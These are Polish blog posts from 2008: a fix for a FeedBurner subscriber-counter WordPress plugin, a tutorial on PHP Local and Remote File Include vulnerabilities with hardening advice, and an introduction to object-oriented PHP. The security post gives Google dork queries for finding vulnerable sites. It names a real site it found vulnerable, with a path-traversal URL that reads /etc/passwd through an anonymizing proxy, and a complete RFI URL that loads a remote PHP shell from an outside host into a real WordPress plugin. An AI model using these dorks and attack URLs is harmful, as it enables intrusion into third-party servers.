		  'map_fc_queryurl' =>'https://feedburner.google.com/api/awareness/1.0/GetFeedData?uri=',

C… bombki strzelił! Jedyne co otrzymuje w wyniku to ten niewdzięczny „N/A”…

Po pierwsze musicie sprawdzić czy biblioteka cURL (Client URL Library Functions) jest dostępna w konfiguracjach Waszych serwerów (jako pakiet PHP). W tym celu wystarczy stworzyć jakikolwiek plik o rozszerzeniu .php, wypełnić go poniższym kodem i wywołać na hipotetycznie problematycznym serwerze.

W wylistowanych wynikach wystarczy poszukać wpisu cURL support i sprawdzić, czy jego flaga ustawiona jest na enabled. Jeżeli nie, to właśnie znaleźliście przyczynę problemu. Powyższa, kluczowa dla nas wtyczka oparta jest na tym libie, a co za tym idzie jego brak powoduje niemożność poprawnego wykonania kodu tego rozszerzenia.

Diagnoza problemu: cURL…

Kiedy zawodzą dostępne już rozwiązania najlepszym sposobem na pozbycie się własnego problemu jest… napisanie indywidualnej solucji. Niestety to wiążę się najczęściej z jedną z dwóch rzeczy. Albo z posiadaniem konkretnej wiedzy odnośnie danego problemu, albo z wydatkiem związanym z opłaceniem osoby która rozwiąże Waszą dolegliwość.

Jeżeli dotarliście do tego punktu tzn. że nadal nie uzyskaliście pożądanego efektu. Pora więc właśnie na w.w. sposób, z tymże ja dla Was przygotuję go w stu procentach… za friko :] Mógłbym Wam zaprezentować kilkulinijkowy sposób, bo praktycznie do tego ogranicza się rozwiązanie – pytanie po co? Blog ten ma uczyć, dlatego postaram się Wam przedstawić dwie metody pobierania potrzebnych nam danych które po lekkim tuningu złożą się w jedną, w pełni funkcjonalną wtyczkę napisaną specjalnie na potrzeby tego artykułu. I w gruncie rzeczy będzie to najbardziej optymalne rozwiązanie ze wszystkich tutaj przedstawionych…

Przypadek numer jeden: brak możności użytkowania cURL’a. Jak to w życiu bywa, jak nie da wejść się jednym oknem, trzeba próbować drugim. Sposobów jest wiele, ja wybiorę użycie funkcji file_get_contents. Zaimplementowana jest ona w PHP od wersji 4.3 i dodatkowo do jej działania konfiguracja serwera musi zezwalać na zdalne (z zewnętrznych źródeł) pobieranie plików. Trik który zastosujemy ogranicza się kolejno do:

pobrania danych z adresu FeedBurner’a korzystając z udostępnionego przez niego API,
sprawdzenia czy odebrane dane są poprawne (pod kątem poprawności adresu i ewentualnych wyjątków),
wyszukanie frazy circulation=" w posiadanym buforze. Kod który pobraliśmy wcześniej musi być w formacie XML, a co za tym idzie składa się on ze znaczników i parametrów. Właśnie parametr circulation zawiera w sobie wartość będącą ilością subskrybentów,
jeżeli fraza nie zostanie znaleziona, zwrócenie błędu,
w przeciwnym razie pobranie ciągu od pozycji wyszukiwanej wyżej frazy + 13 znaków (długość szukanego słowa), aż do znalezienia następnego cudzysłowia (bez niego).

Kiedy problemem nie jest jednak cURL…

SimpleXMLElement – klasa rozszerzenia SimpleXML dostarczająca prosty zestaw narzędzi do konwersji XML na obiekt na którym można operować poprzez użycie selektorów.

Przykład:


	raz
	dwa

$xml = new SimpleXMLElement(XML);
$found = $xml->xpath('parent/children'); // wyszukiwanie potomka w drzewie dokumentu XML (argument w postaci np. rodzic/potomek/potomek_potomka/itp.)
print_r($found); // wypisanie tablicy wyników

Plugin FeedCount nie zawsze działa na WordPress’ie 2.7x. Nie pytajcie dlaczego. Szczerze? Nie wiem i nie chciało mi się dociekać co jest tego powodem. Postanowiłem jakiś czas temu spotykając się z tą przypadłością po prostu stworzyć bardziej uproszczony kod, niż ten z popularnej wtyczki. Jak wygląda jego schemat krokowy? Po kolei:

inicjalizacja cURL,
ustawienie opcji transferu biblioteki (zwracanie zawartości bez wypisywania jej na ekran oraz wprowadzenie adresu docelowego),
wykonanie zadania, po czym zniszczenie sesji połączenia,
sprawdzenie, czy nie występuje znacznik nadrzędny err z parametrem code o wartości 1 (oznaka zwrócenia błędu, najczęściej nieodnalezienia pliku),
jeżeli powyższy punkt nie okaże się prawdą to utworzenie obiektu SimpleXMLElement i wyszukanie zawartości wyżej już wspomnianego atrybutu circulation.

err['code'] == '1' ) // sprawdzenie wystąpienia błędu
{
	print 'n/d';
}
print $xml->feed->entry['circulation']; // pobranie ilości subskrybentów
?>

Aby bardziej wyjaśnić działanie powyższej partii kodu posłużę się przykładowymi danymi, jakie mogą zostać pobrane.

Można z niego wywnioskować, że odpowiednio operując na klasie SimpleXMLElement moglibyśmy uzyskać identyfikator konta, jego część adresu zwaną w tym artykule po prostu nazwą, datę utworzenia, ilość osób śledzących RSS’a, liczbę kliknięć oraz ściągnięć. Działanie powyższej klasy jest proste. Z kodu XML tworzymy obiekt po którym możemy przesuwać się za pomocą zwyczajnych selektorów. Przykładowo jeżeli chcielibyśmy wyłuskać z powyższego przykładu identyfikator (id) zrobilibyśmy to w następujący sposób:

print $xml->feed['id'];

Pierwszy, główny element rsp jest pomijany w instancji obiektu.

Zasada działania SimpleXMLElement na podstawie kodu pobierania liczby subskrybentów.

Autorska wtyczka finalnym rozwiązaniem naszego problemu!

I tak oto dochodząc do meritum przedstawiam Wam rozszerzenie uproszczone, ale za to bardziej wzbogacone o trzy, moim zdaniem niezbędne funkcjonalności. Easy Feed Counter posiada możliwość łatwej instalacji i konfiguracji poprzez panel administratora. Proces wdrażania tego pluginu jest adekwatny do dodawania opisywanego wcześniej FeedCount (jest także dokładnie opisany w linku powyżej w repozytorium modyfikacji). Pozwala on na ustawienie serwera feedów, metody pobierania statystyk oraz wpisanie nazwy konta kanału RSS na FeedBurner’ze. Opcjonalnie możecie także dodać konto komentarzy na tym serwisie, o ile takowe posiadacie.

Rezultaty działania wtyczki.

Rozwiązanie to ma także jeden wielki, dodatkowy atut. Nie formatuje jak inne pluginy zwracanej treści, a ogranicza się do podania wartości (liczby użytkowników), bądź kodu błędu (n/d). To pozwala na szersze modyfikacje położenia bądź wyglądu wyników po wywołaniu funkcji easyfeedcounter_get([opcjonalny: parametr]) bez dodatkowej ingerencji w sam kod rozszerzenia.

Bardziej skrupulatne objaśnienie, opisane krok po kroku znajdziecie w moim repozytorium. W przypadku wątpliwości dotyczących tematu, bądź instalacji tego tworu proszę śmiało pytać :]

Jak zabezpieczyć skrypt PHP/MySQL? Część 2: luki Local File Include (LFI) i Remote File Include (RFI)

m1chu — Sat, 18 Oct 2008 23:23:05 +0000

Praktycznie każdy dynamicznie generowany system oparty o rozwiązania dostępne w celu tworzenia aplikacji internetowych działa na zestawie katalogów, a skrupulatniej pisząc także podkatalogów. Operowanie na nich, np. w celu wczytania danego języka czy plików szablonów poprzez użycie danych pochodzących od użytkownika może być przyczyną niemałego problemu. Local File Include, Remote File Include, czy Directory Traversal to fachowe nazwy błędów na które przez niedostateczne zabezpieczenie skryptu możemy być narażeni.

Zarys teoretyczny…

Obydwa typy ataków (zwane razem po prostu Include File Injection) są przykładami ogólnie rozumianego Code Injection, czyli wstrzykiwania niedozwolonego kodu. Prócz nich do grupy tego typu luk należą m.in. PHP/ASP Injection, SQL Injection, czy Shell Injection które dokładniej przedstawię w kolejnych artykułach o zabezpieczeniach.

O czym zaraz będziecie mogli się przekonać, na pierwszy rzut oka ataki te są podobne do opisywanej już przeze mnie luki AFD, a wszystko przez fakt możliwości wykorzystania błędu poprzez specyficzne dane wprowadzane przez użytkownika. Ich stopień niebezpieczeństwa można wyrazić przez prosty fakt, że nie tylko zagrażają one danemu, podatnemu na nie serwisowi, ale także w niektórych przypadkach całemu serwerowi. Dzieje się tak z powodu możliwości załadowania dowolnego pliku na serwerze ofiary, bądź w zależności od konfiguracji serwera także pliku z serwerów zewnętrznych poprzez dziurawy skrypt.

Przyczyny tworzenia bugów…

Obydwa błędy dotyczą funkcji PHP odpowiedzialnych za wczytywanie plików na stronie. Mowa tu np. o include(), include_once(), require(), require_once(), fopen() (a co za tym idzie także fread()), file(), czy file_get_contents().

Dwa poniższe, teoretyczne przykłady zobrazują Wam jak prosto można stać się ofiarą własnej naiwności, niewiedzy.

Kod ten domyślnie mógłby być przez jakiegoś laika używany do zapisywania w cookies języka użytkownika wraz z możliwością jego dynamicznej zmiany poprzez parametr tablicy GET skryptu. Niestety brak jakiegokolwiek filtrowania pozwala co lepiej kombinującemu użytkownikowi na manipulowanie i wartością parametru, i zawartością ciasteczka odpowiadającego za przetrzymywanie języka użytkownika.

Przeanalizujmy metodykę działania tego pseudoskryptu:

http://strona.pl/index.php?set_lang=polish // do odpowiedniego COOKIE zostanie zapisana wartość 'polish' po czym będzie wczytywany plik 'polish.txt'
http://strona.pl/index.php?set_lang=english // podobnie jak powyżej (zakładając, że obydwa pliki istnieją na serwerze) z tymże zostanie wczytany plik 'english.txt', a zapisana zostanie wartość 'english'

Niby wszystko ok. Co jednak, jeżeli dokonamy edycji ciasteczka, bądź zmienimy nasz parametr w sposób podobny do http://inna_strona.eu/exp.txt?? Wywołamy z zewnętrznego serwera skrypt o rozszerzeniu txt. Tak oto otrzymaliśmy prosty przykład RFI. Po co ten znak zapytania na końcu? W celu uznania za parametry wszystkiego co znalazłoby się za nim w naszym adresie po przepuszczeniu w danej funkcji PHP (działa to tylko w przypadku RFI i zależne jest od stosowanej funkcji operującej na pliku), a także w celu uruchomienia danego pliku na serwerze ofiary. W naszym przypadku wynikiem będzie:

$array = file('http://inna_strona.eu/exp.txt?.txt'); // RFI na http://inna_strona.eu/exp.txt

Drugi przypadek może symbolizować prosty system wczytywania podstron. Przykład może pozornie być uważany za bezpieczny z racji zastosowania switch. Niestety w wypadku jeżeli żaden z jego warunków nie zostanie spełniony w default może zostać wykonany praktycznie dowolny kod.

Podobnie jak w pierwszym przykładzie także tutaj możemy spreparować link, tym razem np. w taki sposób, aby uzyskać LFI.

http://strona.pl/index.php?page=../hasla.txt

Skorzystanie z takiego odnośnika spowoduje wywołanie pliku hasla.txt z głównego katalogu serwisu. Nie trzeba długo myśleć, że w taki sposób można mieć dostęp do każdego niezabezpieczonego pliku na serwerze w tym do będącego najczęstszym przykładem /etc/passwd.

Directory Traversal (DA)?

W powyższych przykładach nie wspomniałem nic o Path Disclosure, bo tak inaczej można nazwać Directory Traversal. Pozwala ono na otrzymanie dostępu do plików źródłowych lub ujawnienie innych zasobów znajdujących się na lokalnym serwerze. Manipulując żądaniami podobnie jak w przypadku Local File Include możemy otrzymać niepowołany dostęp do w.w. zasobów poprzez np. domyślne odwoływanie się do plików szablonów, czy podstron danego serwisu. To czyni z DA synonimiczny typ ataku do wspomnianego przed chwilą LFI.

Poison Null Byte jako panaceum na ominięcie zintegrowanych rozszerzeń…

Wspomniałem powyżej, że znak zapytania na końcu wywoływanego, spreparowanego kodu powoduje w niektórych przypadkach pozbycie się wbudowanego w skrypt rozszerzenia – o ile takowe istnieje. W praktyce działa to tylko w funkcjach sczytujących zawartości plików zewnętrznych, takich jak np. wspomniane file(args);. Nie zadziała to jednak już np. w przypadku integralnie wczytującego include(arg);.

$a = file(ADRES . '?.php'); // ok - wywoła plik z rozszerzeniem przed ?, a .php potraktuje jako argument
include(ADRES . '?.php'); // nie zadziała - .php będzie rozszerzeniem

Nasuwają się więc od razu pytania jak sobie poradzić z tym problemem? Czy jest jakiś uniwersalny sposób na przełamanie tego niekiedy przypadkowego zabezpieczenia? Jest i nazywa się Poison Null Byte, czyli atak z użyciem bajtu zerowego. Inaczej mówiąc jest to zerowy metaznak w postaci jednej z dwóch następujących form: %00 lub %2500. Drugą z nich używa się w wypadku kiedy strona zabezpieczona jest przed pierwszą. Zamieniamy w nim po prostu % na jego szesnastkowy odpowiednik w kodzie ASCII, czyli %25. Po dodaniu takiego „pustego” znaku automatycznie przekazujemy do skryptu zakończenie danego ciągu (nakazujemy obcięcie reszty znaków), przez co wszystko co po nim występuje jest automatycznie ignorowane przez parser PHP.

http://strona.pl/index.php?page=http://inna_strona.eu/exp.txt%00

http://strona.pl/index.php?page=http://inna_strona.eu/exp.txt%2500

Należy pamiętać, że w PHP poniżej wersji 6.0 przy włączonym ustawieniu „magic_quotes_gpc = On” zostanie automatycznie przeprowadzona filtracja tego typu ataku. Sama luka wykorzystywana jest zawsze w połączeniu z tytularnymi bugami opisywanymi w tym artykule.

Kiedy jesteśmy narażeni na włamanie?

kiedy „magic_quotes_gpc = Off” (php.ini) (brak filtracji bajtów zerowych z poziomu ustawień PHP), bądź kiedy nie używamy addslashes lub mysql_real_escape_string dla poleceń MySQL,
gdy dyrektywa „register_globals = On” (php.ini), z racji tworzenia z parametru tablic superglobalnych GET/POST/COOKIES zmiennej o nazwie tegoż argumentu. Przykład:
```
http://strona.pl/index.php?page=http://inna_strona.eu/exp.txt
```
Utworzy w skrypcie automatycznie zmienną o następującej wartości:
```
$page = 'http://inna_strona.eu/exp.txt';
```
w momencie gdy „allow_url_fopen = On” (php.ini) i/lub „allow_url_include = On” (php.ini dla funkcji include(arg);, require(arg);, include_once(arg);, require_once(arg); PHP od wersji 5.2) które pozwalają na pobieranie w funkcjach operujących na plikach zasobów z zdalnych serwerów lub w momencie kiedy nie blokujemy takiej możliwości bezpośrednio z poziomu skryptu,
kiedy nie zachowujemy podstawowych zasad zachowania bezpieczeństwa w skrypcie w tym wypadku dotyczących ograniczenia korzystania z plików w danych katalogach, o danych rozszerzeniach opierając się o regułę ograniczonego zaufania.

Zagrożenie ze strony modyfikacji kodowania adresu URL…

Skupmy się na chwilę na samych parametrach skryptu, czyli na Query String’u. Analizując metody zabezpieczeń często zapomina się o filtracji zakodowanej formy adresu na której działanie część serwerów jest narażonych.

Tak więc ../ dla przykładu w heksadecymalnym kodzie ASCII posiada odpowiednik w postaci ciągu %2e%2e%2f. Należy zabrać pod uwagę także mieszane formy poprzedniego wzorca, jak np. ..%2f, %2e%2e/, a także formy zgodne z UTF-8 – czyli dla przykładu ..%c0%af. Poniżej przedstawiam tabelę części znaków i ich szesnastkowych odpowiedników ASCII.

Celem ogólnym tego paragrafu jest zaprezentowanie przeze mnie rzadkich, ale niekiedy możliwych do przeprowadzenia metod w.w. ataków za pomocą użycia procentowych, zakodowanych odpowiedników znaków. Uogólniając należy wyjść naprzeciw temu problemowi poprzez usystematyzowanie formy danych wejściowych na jednolite, najlepiej najbliższe ludzkiemu oku – czysto znakowe.

Jak się zabezpieczyć?

Na początek można odwrócić wartości dotyczące konfiguracji php.ini które podałem w paragrafie „Kiedy jesteśmy narażeni na włamanie?”. Nie mniej jednak „allow_url_fopen = Off” może być niepowołane w przypadku skryptów docelowo korzystających z jakiegoś zewnętrznego zasobu (np. z danych jakiegoś trackera), a „magic_quotes_gpc = On” pomimo, że automatycznie przeprowadza pewien poziom filtrowania to nie jest przeze mnie zalecane z powodu kreowania w webdeveloperze złych nawyków. Reszta zmian jest jak najbardziej wskazana.

Jeśli chodzi już o zabezpieczenia z poziomu skryptu to oprę się o dwa na początku artykułu wymienione przykłady.

Na drugim z nich zaprezentuję sposób najbardziej banalny, gdyż ładujący dane za pomocą ID (oparty o wbudowaną listę plików, choć można to oczywiście zrobić na podstawie np. bazy danych).

 0 ? $files[($page-1)] : $files[($counted-1)] );
}
$page = getPageName((int)$_GET['page']); // rzutowanie na typ calkowity i wywolanie funkcji zwracajacej nazwe pliku po ID
switch ( $page )
{
	case '404': // wyjatek w wypadku bledu
		require './errors/404.php';
		break;
	default: // wczytanie przefiltrowanego pliku
		require './' . $page . '.php';
		break;
}
?>

Przykład banalny i za pewnie przydatny tylko w przypadku małych i prostych skryptów. Wypadałoby go zautomatyzować i na tym będzie się opierał pierwszy przerobiony z wyżej opisanych, niezabezpieczonych kodów.

Oprzemy się tutaj na użyciu funkcji basename() (w celu wyodrębnienia nazwy pliku z całego ciągu), addslashes() (dodaj znaki unikowe), urldecode() (dla zakodowanych procentowych form znaków) oraz html_entity_decode() (aby pozbyć się encji). Przykład zabroni całkowicie pobierania z zewnętrznych serwerów. Jeśli jednak skrypt wymagałby tego to należy zabronić użytkownikowi podawania adresu do takowego pliku i po prostu umieścić jego adres na stałe w skrypcie. Ważnym jest też fakt, aby pamiętać, że jeśli ten zdalny plik nie leży na jednym z zarządzanych przez nas serwerów to musimy liczyć się z tym, iż jego zawartość może zmienić się na przeznaczoną do dokonania włamania. Bezwzględnie powinno się filtrować także zawartość takich plików!

Bo człowiek najlepiej uczy się na przykładach…

Szukać opisywanych błędów można w podobny sposób jak w temacie o Arbitrary File Download (w slangu tzw. dorki). Pomijając pisane do tego specjalnie skrypty/programy, za pomocą wyszukiwarki. Frazeologia także nie różni się tak bardzo. Opieramy po prostu wyszukiwanie na parametrach skryptu pod którymi może występować luka, takimi jak f=, file=, site=, page=, czy plik=.

inurl: ".php?f="
inurl: ".php?page="
inurl: ".php?file="
inurl: ".php?plik="
inurl: ".php?site="

inurl:.pl (".php?page=" OR ".php?plik=")

Tak mogłyby wyglądać frazy wyszukiwania Google. W tym ostatnim wypadku zawężamy wyszukiwania do domen o rozszerzeniu .pl oraz wyszukujemy w nich jedną z dwóch podanych nazw parametrów plików php. Oczywiście nic nie stoi na przeszkodzie, aby przerobić to zapytanie na bliższe własnym potrzebą.

Inny sposobem na wyszukiwanie tego typu błędów jest wpisywanie fraz związanych z ostrzeżeniami funkcji na których luka się opiera (takich jak require(), file(), czy inne wymienione w drugim paragrafie). Niestety jest to metoda zawodna, gdyż nie każda tego typu informacja zwracana w skrypcie jest wykładnikiem błędu i nie zawsze są one także indeksowane przez wyszukiwarki. Można je jednak niekiedy użyć z wcześniej wymienionym sposobem w celu zwiększenia prawdopodobieństwa, że wykryty przez nas domniemany błąd jest nim naprawdę.

Warning: require()
Warning: file()
Warning: fopen()
Warning: file_get_contents()

Największe prawdopodobieństwo trafienia na podatny kod ostrzeżenie na stronie powinno wyglądać mniej więcej jak to (należy zwrócić uwagę na rozszerzenie otwieranego pliku oraz rodzaj funkcji wczytującej pliki):

Warning: include() [function.include]: Failed opening '...php' for inclusion (include_path='.:/usr/share/pear') in /adres_wzgledny/index.php on line 13

inurl:automotive.co.uk (".php?site=" OR ".php?file=" OR ".php?page=" OR ".php?f=")

W taki oto sposób, po ciut przypadkowych poszukiwaniach otrzymałem przykład nieodpowiednio zabezpieczonego skryptu.

http://www.riverside-automotive.co.uk/index.php?f=data_home&a=9

Link z pierwszej strony wyników. Dla pewności sprawdziłem występowanie luki poprzez jeden z krążących po internecie programów do ich wykrywania (po czym przetestowałem ponownie napisanym przeze mnie skanerem – jest to wersja rozwojowa więc może mieć ciut błędów – wymaga minimum .NET Framework 2.0 – więcej w komentarzach). Rezultat pozytywny – „mission completed” :D

http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.riverside-automotive.co.uk/index.php?f=../../../../../../../../etc/passwd

Pewnie niektórzy drapią się z Was po głowie, dlaczego ten punkt opisałem „po łebkach”. Wszystko ze względu, że metodologia wykrywania tego typu bugów jest praktycznie taka sama jak w przypadku poprzednio opisywanej przeze mnie problematyki zabezpieczeń (wspomniane już dwukrotnie AFD).

I na koniec przykładowy link działania zewnętrznego shella (skrypt wykonywany zdalnie – z innego serwera – przykładami są: r57.php, s72.php, czy c99.php) wobec RFI, już bez zbędnego opisu. Jak zwykle zaznaczam także, że wszelkie przykłady zamieszczone w tymże, a także w kolejnych artykułach są na zasadach edukacyjnych. Proszę nie wykorzystywać ich do jakiegokolwiek niszczenia prac autorów zamieszczonych tu stron!

Podatna strona: http://anonymouse.org/cgi-bin/anon-www.cgi/http://hilrockkor.josiniserver.dk/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=
Przykładowy shell: http://www.mykr.net/bbs/id.txt?
// Shell wykorzystywany na utnij.eu
Pełny adres: http://anonymouse.org/cgi-bin/anon-www.cgi/http://hilrockkor.josiniserver.dk/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://www.mykr.net/bbs/id.txt?

Jeśli ktoś chce zobaczyć konstrukcję shellów, to zapraszam na utnij.eu, gdzie w statystykach skróconych ostatnio odnośników można znaleźć wiele tego typu skryptów, co jest wynikiem prób jakiś osobników shackowania tego serwisu. Jak na razie bezowocnych… na szczęście…

PS: zapraszam wszystkich chętnych do luźnych rozmów nie tylko o programowaniu, także wszelkich programistów i grafików, a uogólniając każdą osobę która lubi prowadzić dialog i dłuższe przesiadywanie na IRC-u na kanał #thenet serwerów after-all.org (#thenet@irc.after-all.org).

Wstęp do programowania zorientowanego obiektowo w PHP5…

m1chu — Mon, 15 Sep 2008 18:47:31 +0000

Piąta odsłona PHP w porównaniu z poprzednią jest w pełni funkcjonalnym, zorientowanym obiektowo językiem. Z fundamentalnego punktu widzenia OOP (skrót od Object Oriented Programming) jest koncepcją grupowania danych i kodu w logiczne całości zwane po prostu klasami. Tematyka ta wiąże się z takimi pojęciami jak deklaracja klasy, tworzenie instancji obiektu, metody, właściwości, kapsułkowanie, stałe klasy, czy metody i właściwości statyczne. I to właśnie te elementy będę starał się Wam łatwo, prosto i przyjemnie zaprezentować tym razem.

Deklaracja klasy, tworzenie, klonowanie oraz niszczenie instancji obiektu na przebudzenie…

Klasa jest reprezentacją metod (nazywanych także funkcjami) i właściwości (nazywanych także z nieobiektowych aplikacji, czy skryptów po prostu zmiennymi). Zbiór klas ma na celu stworzyć ogólny, współdziałający interfejs dla przyszłych użytkowników. Sama klasa w sobie, pomijając pewne zastosowania statyczne jest tylko kontenerem, projektem dla mniejszych paczek których jest reprezentacją. Użyć je można oczywiście poprzez utworzenie instancji na obiekcie, których można wykreować dowolnie dużo.

Pojęciem od którego zaczniemy jest deklaracja klasy, w najprostszej postaci wyglądająca tak:

Kiedy już wykonamy powyższą deklarację, możemy przystąpić do instancjonowania obiektu, które zgoła jest tak samo proste jak poprzednia czynność.

$instancja = new mojaKlasa(); // za pomocą konstrukcji new

Ponieważ obiekt, w tym wypadku do zmiennej $instancja przekazywany jest zawsze jako uchwyt (w praktycznym podejściu można uważać, że jako referencja) możliwe jest bezproblemowe skopiowanie instancji do innej zmiennej poprzez ich zwyczajne przyrównanie. To rozróżnia zmienną $instancja od zwykłych zmiennych dla których dane przekazywane są jako wartość. Ważnym jest, że poprzez taki zabieg instancje odnoszą się do jednej klasy, więc zmiana danych poprzez jedną z nich automatycznie powoduje zmianę w drugiej. Można tego uniknąć poprzez klonowanie obiektu używając operatora clone (ponieważ dla nowej powielonej instancji zostanie zaalokowana nowa przestrzeń pamięci to zmiany na pierwotnej zmiennej przetrzymującej obiekt nie będę się odbijać na sklonowanej).

$instancja = new klasa();
$instancja->var = 'X';
$nowa_instancja = $instancja; // kopiowanie instancji, obydwie zmienne będą wskazywać na ten sam obiekt
$nowa_instancja->var = 'Z';

echo $instancja->var; // zwroci Z
echo $nowa_instancja->var; // zwroci Z
[...]
$instancja = new klasa();
$instancja->var = 'X';
$sklonowana_instanca = clone $instancja; // klon instancji
$sklonowana_instancja = 'Z';

echo $instancja->var; // zwroci X
echo $sklonowana_instancja->var // zwroci Z

Instancja zostaje zniszczona automatycznie po wygenerowaniu całego skryptu. Nie mniej jednak gdybyśmy potrzebowali zrobić to ręcznie to służy do tego funkcja unset(parametr);.

unset($instancja);

Nie mnie jednak należy pamiętać, że jeśli w międzyczasie skopiujemy instancję tak jak to pokazałem powyżej to obiekt nie zostanie zniszczony dopóki nie usuniemy wszystkich zmiennych będących instancją danego obiektu.

Śniadanie z dziedziczeniem…

Żeby przejść do metod i właściwości niezbędne jest zapoznanie się z dziedziczeniami dostępnymi w OOP. Dziedziczenie pozwala na bezpośrednie korzystanie z zasobów jednej klasy przez inne, dodawanie nowych funkcji i zmiennych, a ostatecznie jeżeli nie ogranicza tego specjalny parametr metod lub klasy z której się dziedziczy także przedefiniowanie niektórych zasobów. A wszystko dzięki umieszczeniu w linii deklaracji klasy która ma dziedziczyć extends klasa_dziedziczona.

 klasaDziedziczona::metodaA';
	}

	function metodaB()
	{
		print 'wywolano -> klasaDziedziczona::metodaB';
	}
}

class klasaDziedziczacaA extends klasaDziedziczona { // klasaDziedziczacaA dziedziczy z klasaDziedziczona
	function metodaA()
	{
		print 'wywolano -> klasaDziedziczacaA::metodaA';
	}
}

class klasaDziedziczacaB extends klasaDziedziczona { // klasaDziedziczacaB dziedziczy z klasaDziedziczona
	function metodaA()
	{
		print parent::metodaB();
	}

	function metodaB()
	{
		print 'wywolano -> klasaDziedziczacaB::metodaA';
	}

	function metodaX()
	{
		print 'wywolano -> klasaDziedziczacaB::metodaX';
	}
}

class klasaDziedziczacaC extends klasaDziedziczacaA { // klasaDziedziczacaC dziedziczy z klasaDziedziczacaA (zarazem może mieć dostęp do klasy bazowej klasaDziedziczona)
	function metodaA()
	{
		print 'wywolano -> klasaDziedziczacaC::metodaA';
	}

	function metodaB()
	{
		print parent::metodaB();
	}

	function metodaC()
	{
		print klasaDziedziczona::metodaB();
	}

	function metodaD()
	{
		print klasaDziedziczacaB::metodaX();
	}
}

$klasa		= new klasaDziedziczona();
$klasaA		= new klasaDziedziczacaA();
$klasaB		= new klasaDziedziczacaB();
$klasaC		= new klasaDziedziczacaC();

$klasa->metodaA(); // zwroci wywolano -> klasaDziedziczona::metodaA
$klasa->metodaB(); // zwroci wywolano -> klasaDziedziczona::metodaB
$klasaA->metodaA(); // zwroci wywolano -> klasaDziedziczacaA::metodaA
$klasaB->metodaA(); // zwroci wywolano -> klasaDziedziczona::metodaB
$klasaB->metodaB(); // zwroci wywolano -> klasaDziedziczacaB::metodaB
$klasaC->metodaA(); // zwroci wywolano -> klasaDziedziczacaC::metodaA
$klasaC->metodaB(); // zwroci wywolano -> klasaDziedziczona::metodaB
$klasaC->metodaC(); // zwroci wywolano -> klasaDziedziczona::metodaB
$klasaC->metodaD(); // zwroci wywolano -> klasaDziedziczacaB::metodaX
?>

Kilka słów wyjaśnienia. Z klasy nadrzędnej dziedziczą bezpośrednio dwie kolejne: klasaDziedziczacaA i klasaDziedziczacaB. W pierwszej z nich występuje metoda nadpisująca metodę z klasy dziedziczonej (prościej mówiąc, o tej samej nazwie), przez co wywołanie $klasaA->metodaA(); powoduje, że otrzymujemy treść z klasy dziedziczącej, a nie dziedziczonej. W drugiej z tych klas miałem zamiar w metodzie metodaA() pokazać użycie operatora zasięgu :: i słowa parent. Pozwala ono nam na dostęp do nadpisanych metod w klasie z której dziedziczymy (a w wypadku ciągu klas dziedziczonych po sobie z najwyższego rodzica). W tym wypadku jest to nam potrzebne, gdyż nadpisanie następuje właśnie w klasie w której się znajdujemy w metodzie metodaB(). No i ostatecznie w klasie klasaDziedziczacaC jest pokazane jak odnieść się do metody rodzica z poziomu któregoś dziedziczenia z rzędu, a także jak statycznie wywołać metody które znajdują się w klasie rodzica lub w klasach pośredniczących.

Ktoś mógłby teraz spytać dlaczego nie użyłem wielokrotnego dziedziczenia. Takowe występuje tylko w przypadku interfejsów, o czym wspomnę za pewnie w następnej części artykułu. Oczywiście dałoby się to pośrednio za pomocą dostępnych w PHP narzędzi ominąć, ale to już temat na osobny wpis z omówieniem takowej metody.

Jest także jeszcze jedna metodyka korzystania z dziedziczenia. Polega ona na tworzeniu instancji tylko obiektu klasy dziedziczącej.

 klasaDziedziczona::metodaA';
	}

	function metodaX()
	{
		print 'wywolano -> klasaDziedziczona::metodaX';
	}
}

class klasaDziedziczaca extends klasaDziedziczona {
	function metodaA()
	{
		print 'wywolano -> klasaDziedziczaca::metodaA';
	}

	function metodaB()
	{
		print parent::metodaA();
	}
}

$instancja	= new klasaDziedziczaca();

$instancja->metodaA(); // zwroci wywolano -> klasaDziedziczaca::metodaA
$instancja->metodaB(); // zwroci wywolano -> klasaDziedziczona::metodaA
$instancja->metodaX(); // zwroci wywolano -> klasaDziedziczona::metodaX
?>

Jak widać na ostatnim użyciu metody bez problemu można korzystać z nieprzedefiniowanych danych klasy bazowej. Należy także wiedzieć, że metody magiczne (o których będzie poniżej) takie jak __construct wyszukiwane są od najniższej klasy dziedziczącej, aż do napotkania pierwszej metody danego typu. Przykładowa, wymieniona przed chwilą metoda konstrukcji wykonywana jest w klasie bazowej jedynie, jeżeli nie znajduje się w żadnej z potomnych jej klas. Można je podpiąć więc pod zasadę nadpisywania, inaczej przedefiniowania. Więcej o tym będzie poniżej.

Na deser zasady działania metod i właściwości…

Na początek wypadałoby poruszyć temat wspomnianego kapsułkowania lub bardziej z angielskiego – enkapsulacji. Polega ona na pewnym ukryciu danych w postaci zmiennych klasy, bądź jej funkcji w taki sposób, aby były one widoczne tylko i wyłącznie w funkcjach zaprzyjaźnionych, klasach dziedziczących lub metodach tej samej klasy (występuje wtedy tzw. pełna hermetyzacja). Z poniższych czterech typów pierwsze trzy mogą, lecz nie muszą łączyć się z czwartą w pary (tworząc np. metody chronione-finalne).

Gdybyśmy mieli umieścić pustą, przykładową metodę wewnątrz w.w. klasy to wyglądałaby ona np. tak:

Jak można zauważyć tworzenie metod wygląda praktycznie jak tworzenie zwykłych funkcji (wraz z możliwością sparametryzowania metod), z tymże przed function dodajemy typ metody. Do metod wewnątrz klasy lub z klas potomnych odnosimy się z specjalnej właściwości wskazującej zawsze na obiekt nazwanej $this.

publicFunction($data); // zadziała
		$this->privateFunction($data); // zadziała
		$this->protectedFunction($data); // zadziała
		$this->finalFunction($data); // zadziała
	}
}

class callClass extends resultClass {
	// utworzone w celu sprawdzenia wyniku odwolania sie do metod roznego typu w klasie bazowej
	public function callPrivateFunction($data)
	{
		$this->privateFunction($data);
	}

	public function callPublicFunction($data)
	{
		$this->publicFunction($data);
	}

	public function callProtectedFunction($data)
	{
		$this->protectedFunction($data);
	}

	public function finalFunction($data) // proba przedefiniowania metody finalnej klasy bazowej
	{
		$this->finalFunction($data);
	}
}

$tekst	= 'argv'; // tekst do wypisania

$obj	= new callClass(); // obiekt klasy potomnej
$obj->callPrivateFunction($tekst); // zwroci blad, albo zatrzyma skrypt z powodu proby wywolania metody prywatnej z klasy dziedziczonej

$obj->callPublicFunction($tekst); // zwroci Parametr: argv
$obj->callProtectedFunction($tekst); // zwroci Parametr: argv
